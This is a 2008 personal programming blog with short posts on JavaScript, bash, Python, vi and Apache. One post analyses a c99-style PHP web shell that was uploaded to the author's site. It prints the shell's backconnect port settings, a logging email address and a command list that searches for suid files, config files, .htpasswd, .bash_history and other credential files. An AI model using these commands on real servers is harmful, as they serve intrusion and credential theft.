Tuesday, December 9, 2008

Using OO Javascript to create DOM elements and CSS Style

A lot of javascript tricks use CSS classes to toggle graphic properties, such as .mygoldbackground { ... } .mygreenbackground {...} and the js resets the classname of the HTML element. This is fine for most scenarios.

I am writing games where the CSS is much more dynamic, and I was constantly having to edit the CSS to match up with the game board layout ( for early prototype example of my players and game boards, see: http://my-toolbox.appspot.com/javascript.js?queryvalue=critters%201.2&dbtab=show )

So I am going to 1) create all game DOM elements with js 2) set all game DOM CSS with js.

Here is the core toolset of code for doing that:

Thursday, October 23, 2008

Documenting behavior of the Google Cloud

This is a non-dynamic webpage documenting the database object insert timing for the Google Gdata object. I thought the randomness of insert completion of each node to be interesting and shows the "cloud" in action. Note the python code at the bottom of this page (here). The "nodes" were executed 1...64 in the python script, so it is easy to see where the cloud disengages from that linearity.

  1. Node:1 Insert time:2008-10-23 10:56:23.353281
  2. Node:3 Insert time:2008-10-23 10:56:23.413692
  3. Node:5 Insert time:2008-10-23 10:56:23.477040
  4. Node:7 Insert time:2008-10-23 10:56:23.534829
  5. Node:10 Insert time:2008-10-23 10:56:23.624858
  6. Node:11 Insert time:2008-10-23 10:56:23.667277
  7. Node:13 Insert time:2008-10-23 10:56:23.725053
  8. Node:2 Insert time:2008-10-23 10:56:23.382015
  9. Node:4 Insert time:2008-10-23 10:56:23.443903
  10. Node:6 Insert time:2008-10-23 10:56:23.507742
  11. Node:8 Insert time:2008-10-23 10:56:23.562350
  12. Node:9 Insert time:2008-10-23 10:56:23.593376
  13. Node:12 Insert time:2008-10-23 10:56:23.697803
  14. Node:14 Insert time:2008-10-23 10:56:23.755138
  15. Node:16 Insert time:2008-10-23 10:56:23.843447
  16. Node:18 Insert time:2008-10-23 10:56:23.907231
  17. Node:20 Insert time:2008-10-23 10:56:23.965684
  18. Node:22 Insert time:2008-10-23 10:56:24.037075
  19. Node:24 Insert time:2008-10-23 10:56:24.100084
  20. Node:26 Insert time:2008-10-23 10:56:24.176800
  21. Node:28 Insert time:2008-10-23 10:56:24.236621
  22. Node:30 Insert time:2008-10-23 10:56:24.297839
  23. Node:32 Insert time:2008-10-23 10:56:24.362423
  24. Node:34 Insert time:2008-10-23 10:56:24.422469
  25. Node:36 Insert time:2008-10-23 10:56:24.477692
  26. Node:38 Insert time:2008-10-23 10:56:24.532586
  27. Node:40 Insert time:2008-10-23 10:56:24.589649
  28. Node:42 Insert time:2008-10-23 10:56:24.651617
  29. Node:44 Insert time:2008-10-23 10:56:24.716515
  30. Node:46 Insert time:2008-10-23 10:56:24.780054
  31. Node:50 Insert time:2008-10-23 10:56:24.916035
  32. Node:52 Insert time:2008-10-23 10:56:24.974097
  33. Node:54 Insert time:2008-10-23 10:56:25.034449
  34. Node:56 Insert time:2008-10-23 10:56:25.092311
  35. Node:59 Insert time:2008-10-23 10:56:25.192227
  36. Node:61 Insert time:2008-10-23 10:56:25.258557
  37. Node:63 Insert time:2008-10-23 10:56:25.326543
  38. Node:15 Insert time:2008-10-23 10:56:23.785200
  39. Node:17 Insert time:2008-10-23 10:56:23.875937
  40. Node:19 Insert time:2008-10-23 10:56:23.934721
  41. Node:21 Insert time:2008-10-23 10:56:24.003711
  42. Node:23 Insert time:2008-10-23 10:56:24.068636
  43. Node:25 Insert time:2008-10-23 10:56:24.131330
  44. Node:27 Insert time:2008-10-23 10:56:24.207301
  45. Node:29 Insert time:2008-10-23 10:56:24.268193
  46. Node:31 Insert time:2008-10-23 10:56:24.331993
  47. Node:33 Insert time:2008-10-23 10:56:24.394126
  48. Node:35 Insert time:2008-10-23 10:56:24.451277
  49. Node:37 Insert time:2008-10-23 10:56:24.504942
  50. Node:39 Insert time:2008-10-23 10:56:24.560311
  51. Node:41 Insert time:2008-10-23 10:56:24.621935
  52. Node:43 Insert time:2008-10-23 10:56:24.685583
  53. Node:45 Insert time:2008-10-23 10:56:24.752918
  54. Node:47 Insert time:2008-10-23 10:56:24.810532
  55. Node:48 Insert time:2008-10-23 10:56:24.851659
  56. Node:49 Insert time:2008-10-23 10:56:24.885912
  57. Node:51 Insert time:2008-10-23 10:56:24.945490
  58. Node:53 Insert time:2008-10-23 10:56:25.006673
  59. Node:55 Insert time:2008-10-23 10:56:25.062369
  60. Node:57 Insert time:2008-10-23 10:56:25.124670
  61. Node:58 Insert time:2008-10-23 10:56:25.157359
  62. Node:60 Insert time:2008-10-23 10:56:25.225718
  63. Node:62 Insert time:2008-10-23 10:56:25.293517
  64. Node:64 Insert time:2008-10-23 10:56:25.360900
The insert db code:

shabang line maker

#!/usr/bin/env bash
me=`whereis env | cut -d" " -f2`
echo "#!"$me" "$1 > $2
echo "" >> $2
echo "" >> $2
chmod 0777 $2
ls $2

Saturday, October 18, 2008

Bash: Generate an HTML table

#!/bin/bash
clear
typeset -i row col rows cols
let row=1 col=1 rows=10 cols=10

echo "<table>";
 while ((row<=rows)) ; do
          echo -n "<tr>"
          while ((col<=cols)) ; do
                echo -n "<td>";
                echo -n $col;
                echo -n "</td>";
                let col++
               done
 let col=1
 echo "</tr>";
 let row++
 done
echo "</table>";

Friday, July 11, 2008

Monday, June 16, 2008

Integer division in Python 3.0

>python
Python 2.5.1 (r251:54863, Feb  4 2008, 21:48:13) 
[GCC 4.0.1 (Apple Inc. build 5465)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> 200/400
0
>>> 200.0/400
0.5
>>> from __future__ import division
>>> 200/400
0.5
>>> 200//400
0
>>> print "In Python 3.0 200/400 will yield 0.5"
In Python 3.0 200/400 will yield 0.5
>>> 

Monday, May 26, 2008

Easy Access to Python

Goal: Have methodology for quickly accessing anything about Python. While programming, do not have completed thought process without aid of computer stored information.

>pydoc -g
      |
      |
      +--+ opens Tkinter window

       |
       |
      +-+ open browser
            |
            |
            + Python: Index of Modules
http://python.org/doc/2.5/lib/development.html

Saturday, May 24, 2008

A beautiful presentation of information

epydoc.sourceforge.net/stdlib/httplib-module.html
    (null)
      |
      | HTTPConnection()
      v
    Idle
      |
      | putrequest()
      v
    Request-started
      |
      | ( putheader() )*  endheaders()
      v
    Request-sent
      |
      | response = getresponse()
      v
    Unread-response   [Response-headers-read]
      |\____________________
      |                     |
      | response.read()     | putrequest()
      v                     v
    Idle                  Req-started-unread-response
                     ______/|
                   /        |
   response.read() |        | ( putheader() )*endheaders()
                   v        v
       Request-started    Req-sent-unread-response
                            |
                            | response.read()
                            v
                          Request-sent

Friday, May 23, 2008

NSLOOKUP in Python

from socket import gethostbyaddr 

def nslooky(ip):
      try: 
           output = gethostbyaddr(ip)
           return output[0]
     except: 
           output = "not found" 
           return output

 your_ip = request.META.get('REMOTE_ADDR') 
# above is Django module object
 your_name = nslooky(your_ip)
Original code by Cluther

Wednesday, May 21, 2008

Lance's Django/Python Powered iMac Web Server

My home server is where I'm learning Python and Django. I'm creating content that shows the Python/Django code and resulting HTML.
See it here-->http://64.81.169.244/



Monday, May 19, 2008

Safari Debug/Developer Menu

  1. (Safari) Quit
  2. (Terminal)
    > defaults write com.apple.Safari IncludeDebugMenu 1
  3. (Safari) Start

Thursday, April 24, 2008

Thursday, April 3, 2008

Where are the Python modules in this computer?

Start you python command prompt, and type:
>>import sys
>>sys.path
( it will print out a list of directories)

Another way is write a python script that prints the list out a little prettier:

#!/usr/bin/env python
import sys

for x in sys.path:
        print x
# add to the list of paths with this:
a="/Users/lance/bin/"
sys.path.append(a)

Wednesday, April 2, 2008

Python URLLIB

This is the most useful resource I've found on URLLIB: http://blog.doughellmann.com/2008/03/pymotw-urllib.html

Saturday, March 29, 2008

Game Logic

(A note to myself)
  • Q. Is there an accepted method of handling game-type logic? I've never programmed a game before. What's the best way to organize the computer's playing strategy?

  • A. It's called "minimax searching" on a tree of legal moves. There's an optimization on it called "alpha beta pruning". If you do a search on Google for those terms I bet you'll find a lot of information.

http://www.cs.cornell.edu/Courses/cs312/2002sp/lectures/rec21.htm

Sunday, March 23, 2008

VI exrc and help file

.exrc

set wm=10
set showmode
set number
map #1 :!more ~/.exrc
map #2 :!more ~/.vi_help
map #3 :set number
map #4 :set nonumber
map K dwwP

.vi_help

                                                                      vi Help
----------------                        -----------------
Editing Commands                        Deleting Commands
----------------                        -----------------

 i insert    x delete character
 o open a new line (below)  X delete character to left
 O open a new line (above)  d0 delete to beginning of line
 a append    d$ delete to end of line
 A append at end of line  dd delete line
 u undo    5dd delete 5 lines
 . repeat last command

-------------------   -----------------
Cutting and Pasting   Movement Commands
-------------------   -----------------

 yy yank    H move to top of screen (high)
 5yy yank 5 lines   M move to middle
 p paste    L move to low
 P paste above current position 10G go to line 10
     w go to next word
     b go back to previous word
     0 beginning of line
     $ end of line

------------------
Searching Commands
------------------

 /fred  search for "fred"
 ?fred  search backwards for "fred"
 n  repeat the last search



----------------------------------
Function Key Mappings (Customized)
----------------------------------

 F1:  show the .exrc file 
 F2:  show .vi_help (this file) 
 F3:  set number 
 F4:  set nonumber


---------------------
Run External Commands
---------------------

 :!ls -al  list current directory (long list)
 :!pwd   print working directory



----------------------
Miscellaneous Commands
----------------------

 :r   read contents of a file into the current file
 :s/FRED/BARNEY/g swap FRED with BARNEY (current line only)
 :10,20s/FRED/BARNEY/g swap FRED with BARNEY on lines 10 through 20
 :1,$s/FRED/BARNEY/g swap every occurrence of FRED with BARNEY (entire file)
 :10,20d  delete lines 10 through 20
 :10,20y  yank (copy) lines 10 through 20 to the buffer
:r !sort somefile read contents of somefile after sorting
:r !date  read output of date command into file at cursor point
:69,72!sort  sort lines 69-72, and replace whatever was in 69-72 




----------------
Auto-Indentation
----------------

Your ~/.exrc file is configured to automatically indent each line.  
To move backwards (and eliminate indentation), hit 

 ^d


----------------
MISC
----------------

shell script from "Learning the VI Editor" Chapter 7/Advanced Editing/Here Documents/page 124
----
for file in $*
do
ex - $file << E_O_F
g/thier/s/ /their/g
g/writeable/s/ /writable/g
g/qoute/s/ /quote/g
g/blockqoute/s/ /blockquote/g
wq
E_O_F
done
----

Monday, March 17, 2008

XServe CLI Web Status

note: the serveradmin command is not in executable path,you must include path to it, or
PATH=${PATH}:/usr/sbin

sudo /usr/sbin/serveradmin fullstatus web | less
tail /var/log/httpd/access_log

Wednesday, February 20, 2008

Apache Benchmark example

#!/bin/bash
ab -kc ${1} -t 30 ${2}
k = keep alive
c = concurrent
t = test time duration
${1} = variable set to amount of concurrent users
${2} = variable set to URL, including file name

Tuesday, January 15, 2008

Apple .command executed on mounted image

SOLUTION:
  1. Create a command line program and make it execution clickable in Finder interface, by appending .command
    e.g. myexe.command
  2. Wrap this up in a .dmg file, which is mountable once it is clicked on (it is how most mac programs are distributed from websites)
USAGE:
  1. User clicks twice, once on the URL (e.g.) http://example.com/yoursoftware.dmg
  2. User sees the mounted image in their Finder interface, and sees the (e.g.) myexe.command
  3. User clicks on myexe.command
IMPLEMENTATION:
  1. Create a shell executable.
    vi myshellscript.command
    #!/bin/bash
    ls -l
  2. Make it executable.
    sudo chmod 0777 myshellscript.command
  3. Put into directory as the only file.
    mkdir downloads
    mv myshellscript.command downloads/
  4. Create a .dmg file
    hdiutil create -srcfolder downloads -volname MyDownloadable MyDownloadable
  5. Click on MyDownloadable.dmg
  6. Click on myshellscript.command

Sunday, January 13, 2008

Google Chart API: Bash : Simple Encoding

A tiny command line tool to translate numerical values to proper letter values for the Google Chart API. See the official Google API for complete reference.

#!/bin/bash
clear
echo "----------------------------"
echo " tiny Google Chart API tool "
echo "http://code.google.com/apis/chart/#chart_data"
echo "----------------------------"
function datum_encoder()
{
if [[ "${1}" == "exit" ]]
then
exit;
fi
datum=`echo ${1} | \
sed -e 's/^0$/A/g' \
-e 's/^1$/B/g' \
-e 's/^2$/C/g' \
-e 's/^3$/D/g' \
-e 's/^4$/E/g' \
-e 's/^5$/F/g' \
-e 's/^6$/G/g' \
-e 's/^7$/H/g' \
-e 's/^8$/I/g' \
-e 's/^9$/J/g' \
-e 's/^10$/K/g' \
-e 's/^11$/L/g' \
-e 's/^12$/M/g' \
-e 's/^13$/N/g' \
-e 's/^14$/O/g' \
-e 's/^15$/P/g' \
-e 's/^16$/Q/g' \
-e 's/^17$/R/g' \
-e 's/^18$/S/g' \
-e 's/^19$/T/g' \
-e 's/^20$/U/g' \
-e 's/^21$/V/g' \
-e 's/^22$/W/g' \
-e 's/^23$/X/g' \
-e 's/^24$/Y/g' \
-e 's/^25$/Z/g' \
-e 's/^26$/a/g' \
-e 's/^27$/b/g' \
-e 's/^28$/c/g' \
-e 's/^29$/d/g' \
-e 's/^30$/e/g' \
-e 's/^31$/f/g' \
-e 's/^32$/g/g' \
-e 's/^33$/h/g' \
-e 's/^34$/i/g' \
-e 's/^35$/j/g' \
-e 's/^36$/k/g' \
-e 's/^37$/l/g' \
-e 's/^38$/m/g' \
-e 's/^39$/n/g' \
-e 's/^40$/o/g' \
-e 's/^41$/p/g' \
-e 's/^42$/q/g' \
-e 's/^43$/r/g' \
-e 's/^44$/s/g' \
-e 's/^45$/t/g' \
-e 's/^46$/u/g' \
-e 's/^47$/v/g' \
-e 's/^48$/w/g' \
-e 's/^49$/x/g' \
-e 's/^50$/y/g' \
-e 's/^51$/z/g' \
-e 's/^52$/0/g' \
-e 's/^53$/1/g' \
-e 's/^54$/2/g' \
-e 's/^55$/3/g' \
-e 's/^56$/4/g' \
-e 's/^57$/5/g' \
-e 's/^58$/6/g' \
-e 's/^59$/7/g' \
-e 's/^60$/8/g' \
-e 's/^61$/9/g' ;`
export ${datum}
}

while true
do
echo "type \"exit\" to exit";
echo "type \"_\" for missing data";
read -p "enter number between 0 and 61: " 
datum_encoder ${REPLY}
clear
echo "----------------------------"
echo "           ${REPLY} = ${datum}"
echo "----------------------------"
done

Saturday, January 5, 2008

write.php by MakeBuy source code

On Dec 31, 2007 a set of files were uploaded to my website. Here are highlights:

  • is written in PHP
  • filename is write.php
  • has code to see lots of details about a localhost it lives on,
  • is functional on linux/unix OS,
  • sets a cookie on remote machines,
  • can email info to someone,
  • does a bunch of possibly evil things using MySQL
  • and is web form controlled.

Particularly interesting code snippets are shown here (forgive the weird formatting for blogspot) :

# Home page: http://ccteam.ru
$bindport_pass = "c99"; 
$bindport_port = "31373"; 
$bc_port = "31373"; 
$datapipe_localport = "8081"; 
$log_email = "oon.boy@gmail.com";
if (!$win)
{
    $cmdaliases = array(
        array(
"------------ ls -la ------------------",
"ls -la"
                 ),
        array(
"find all suid files", 
"find / -type f -perm -04000 -ls"
                  ),
        array(
"find suid files in current dir",
"find . -type f -perm -04000 -ls"
                  ),
        array(
 "find all sgid files", 
 "find / -type f -perm -02000 -ls"
                  ),
        array(
"find sgid files in current dir", 
 "find . -type f -perm -02000 -ls"
                   ),
        array(
 "find config.inc.php files",
 "find / -type f -name config.inc.php"
                  ),
        array(
"find config* files", 
"find / -type f -name \"config*\""
                  ),
        array(
"find config* files in current dir", 
 "find . -type f -name \"config*\""),
        array(
 "find all writable folders and files", 
  "find / -perm -2 -ls"
                  ),
        array(
 "find all writable folders and files in current dir", 
"find . -perm -2 -ls"
                  ),
        array(
"find all service.pwd files", 
 "find / -type f -name service.pwd"
                  ),
        array(
"find service.pwd files in current dir",
"find . -type f -name service.pwd"),
        array(
"find all .htpasswd files",
"find / -type f -name .htpasswd"
                  ),
        array(
"find .htpasswd files in current dir",
"find . -type f -name .htpasswd"
                   ),
        array( 
"find all .bash_history files",
"find / -type f -name .bash_history"
                    ),
        array(
"find .bash_history files in current dir",
"find . -type f -name .bash_history"
                    ),
        array(
"find all .fetchmailrc files", 
 "find / -type f -name .fetchmailrc"
                   ),
        array(
"find .fetchmailrc files in current dir", 
"find . -type f -name .fetchmailrc"
                  ),
        array(
"list file attributes on a Linux second extended file system", 
"lsattr -va"
                  ),
        array(
"show opened ports",
"netstat -an | grep -i listen"
                   )
    );
}

I've saved the code as a JPG which can be easily read. You can click on the embedded images below to go to the JPG's, then download by clicking on link to the right of the image.

Editing HTTPD.CONF to Enable PHP

sudo vi /etc/httpd/httpd.conf

(240 shift-g) Line 240
(284 shift-g) Line 284
(856 shift-g) Line 856
(857 shift-g) Line 857

(1087 shift-g) Line 1087
LoadModule php4_module libexec/httpd/libphp4.so
AddModule mod_php4.c
AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps
<IfModule mod_dir.c>
DirectoryIndex index.html index.php index.htm
</IfModule>

Start or Stop Apache


>sudo `whereis apachectl` stop
>sudo `whereis apachectl` start
>sudo `whereis apachectl` status
>sudo `whereis apachectl` help
>whereis apachectl
/usr/sbin/apachectl